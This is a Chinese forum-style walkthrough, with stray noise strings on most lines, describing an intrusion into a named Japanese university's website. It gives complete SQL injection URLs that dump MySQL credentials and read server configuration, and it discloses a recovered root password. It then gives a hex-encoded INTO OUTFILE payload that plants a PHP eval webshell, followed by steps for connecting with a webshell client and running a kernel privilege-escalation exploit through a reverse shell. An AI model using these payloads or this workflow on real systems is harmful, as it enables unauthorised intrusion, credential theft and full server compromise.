入侵日本同志社大学技术分析
1 T! q8 z* C! y0 \ r5 O1 p& }( @: ` q
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
5 F+ v1 N0 j. M3 ~7 W- u) D6 l. U) @! I然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:' D& r3 n" O" M9 V. m1 u5 t9 `5 c+ G
8 l/ y3 w7 |9 N# ?0 S
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user: H# x( l" u& O& T
8 S) g% D) K. h8 a; B
( R, @& B3 b% _7 K( r7 v
. l- E9 {1 A2 o
//@@datadir为数据库文件路径 ! o p6 p0 w0 _! K. }
0 n7 _- r" m6 d1 F W1 E
8 L. M; L1 s3 n% i' Y, C1 [5 d3 c//load_file读取网站容器apache的配置文件
) L) G T+ L3 `" @1 g
% o& F0 `6 V% Z- v; t3 A0 Y9 ~6 y1 J+ x; i: A9 u' A
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 . f; \! c7 R3 d' T* Z
复制代码
' F5 `% ^/ z. {3 A4 P0 V
# x: x+ c: m, w2 S w虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。% m, q2 s" Q% X0 s4 ~6 }
7 f/ t' d- S: @ Z2 B4 c$ ^
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
3 V5 Z. m( U) l% i3 x, e U(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
' G. g! \/ z% L( u) h: Y- o4 i3 R0 d
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
4 h/ \( x5 K! z" \5 M/ Y如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
2 h# N( k8 {3 c5 _: l6 D* U |
, p& D% u' n4 w6 r既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
- U& L" D4 X5 F% z4 w虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
0 `! Z7 A6 }8 Q; U* x直接写一句话:
- r# U- B G% \- ?/ x/ }6 J- R9 N, }. g: x0 m% @+ X
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
7 \: c: I- W: X& Y. c1 _& T6 L- v; h6 q: `3 O; i' M5 ~0 E
7 e6 U- w. {) n2 z P+ m- b, S/ ~% ?9 x
//最后的#是为了闭合前面的语句 : {" W; L# V$ g% a! I1 y9 m
$ c8 d% c3 _: E! Y' L# V+ @
$ F; J: d) P) [- \/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
; @% j( H `& m. M * D& u- Z+ T6 X6 Y) U
' Y* L9 T4 b" X; f1 T2 W
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ * V4 L0 A) K; O5 Y( x2 [3 g
. P/ x5 c+ k! k- Z5 S0 B" S3 Z7 Z8 ?3 {7 r6 q
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
+ s, m2 R# R' Z
% n! d; C% v: M8 C9 n6 Q& f) H. m% K
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
$ f" v: n) M8 v) I% P: U//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
9 [! [* O, k) O% ?9 ]4 t$ z; @复制代码
! L9 h/ v; ~8 D0 }! Y, I8 l6 v0 F- z
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有8 I2 U7 D) }6 I3 w3 P9 v* i7 [
通过上述注入语句,我们就得到了一句话木马:
9 \" k ~5 j- B1 F% Y4 T
7 f) X4 A6 c5 q( l/ y3 a 3 P# K9 I9 w' i* r
; i% P0 {* G1 ]. q* @' Q
$ @, I8 `. U% q( y# j: U a: e* T0 @: G V
http://www.doshisha.ac.jp/english/engnews_img/aa.php 7 S1 i& h8 x8 c0 p
复制代码
$ J* j" _$ I$ r! Y: Y( J. p
. c/ x3 t0 Q; A: z. x) h用菜刀连接,密码是cmd,如图所示:
! j8 |7 C# r. A然后在命令提示行里看了一下,现在的权限是:4 ?' f# `, c N$ N& S
% D) Y1 @& r5 z3 v+ b! N之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
a0 e" D" \5 C好在赋权给这个文件夹不需要root,直接执行赋权语句:5 N8 ?* T& w+ v0 l& W: O9 C
. E# O; f& j$ _- v2 K
* g9 R* d! j P
8 \8 g) v. r5 | n( Y 9 t* M; ?: H k8 B. a: ^; ~; o! F
8 F! c8 i# M- W# Q( h
chmod +x /tmp/
+ J; L& W. ^4 ^1 V( o复制代码' \# @+ p' k8 \
6 U; O* M1 k+ \# K: K, q+ C7 g在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行1 B* j) r# l+ m: k
然后就查了一下内核版本:$ b% r, ?* J% \ h
( b9 z2 [/ F+ K
' O: m; O/ q X/ [6 o
! a1 K4 H; w2 e, T, w6 u
/ u- y% O4 e8 N% _/ M0 ]
# f+ C7 A# l6 K$ J* S9 kuname-a 3 G+ n. Z/ u/ a7 K4 t: L
' E7 @+ m3 L4 B7 K& C! Q. m4 v) l3 w& p, T+ [
//其实lsb_release -a & v I: [9 Z7 A J7 O1 p4 J" y4 k
复制代码
, C3 X3 v/ Z' p/ L& w) c9 K5 b5 }7 z. w& q2 A7 ~4 I
如图所示:
1 _8 j( }, u( u6 r! q6 D0 z" |8 L$ x' e1 i% x% M
内核版本:linux mainz1 2.6.28-194.e15; m9 Q* `( p+ \3 O% h0 B' C
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)/ \; j* \' C8 P$ O) ^
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹" s) u ?: Q. ?/ m* H- H. e& M
& M* a$ r7 e- Z; }, u
然后给予执行权限
. r8 T# y8 N5 }% T一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
0 ^, p; x+ A/ `9 a( M! R0 p* j
* K" U: [5 d$ d
+ t8 o# I, h7 S7 B3 Q9 q. E! c4 f4 v9 g0 F3 \. [/ r) x: v7 D
' `$ u, s1 `6 n; I) {+ h4 E: P
, i& M+ g9 O3 r8 l6 Q4 s& l* I
chmod +x /tmp/2.6.18-194
: }& P$ s9 A% [ s复制代码 然后直接执行!~0 X3 n' p A7 \, D8 _( S8 h% Y
% f* t6 S6 ~7 M, P+ b2 P1 P( |总结:
6 P! ]' ?4 ~* |9 c% f5 a这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了! T% A) O) g$ _2 Z* \. Y9 t1 S
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
" s+ X! ]7 F( t( Y1 b2 Y5 {5 X1 U2 R( X9 X
|